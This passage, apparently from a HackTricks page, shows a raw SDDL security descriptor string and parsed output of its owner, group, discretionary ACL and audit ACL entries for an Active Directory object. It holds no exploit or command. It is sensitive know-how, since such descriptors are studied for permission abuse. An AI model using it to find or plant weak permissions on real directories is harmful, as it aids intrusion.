CLCSWRPWPDTLOCRSDRCWDWO;;;SY)(A;CI;LCRPWPRC;;;AN)S:(OU;CISA;WP;f30e3bbe-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(OU;CISA;WP;f30e3bbf-9ff0-11d1-b603-0000f80367c1;bf967aa5-0de6-11d0-a285-00aa003049e2;WD)(AU;SA;CR;;;DU)(AU;SA;CR;;;BA)(AU;SA;WPWDWO;;;WD)"
Owner            : BUILTIN\Administrators
Group            : BUILTIN\Administrators
DiscretionaryAcl : {Everyone: AccessDenied (WriteData), Everyone: AccessAllowed (WriteExtendedAttributes), NT
AUTHORITY\ANONYMOUS LOGON: AccessAllowed (CreateDirectories, GenericExecute, ReadPermissions,
Traverse, WriteExtendedAttributes), NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS: AccessAllowed
(CreateDirectories, GenericExecute, GenericRead, ReadAttributes, ReadPermissions,
WriteExtendedAttributes)...}
SystemAcl        : {Everyone: SystemAudit SuccessfulAccess (ChangePermissions, TakeOwnership, Traverse),
BUILTIN\Administrators: SystemAudit SuccessfulAccess (WriteAttributes), DOMAIN_NAME\Domain Users:
SystemAudit SuccessfulAccess (WriteAttributes), Everyone: SystemAudit SuccessfulAccess
(Traverse)...}
RawDescriptor    : System.Security.AccessControl.CommonSecurityDescriptor
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥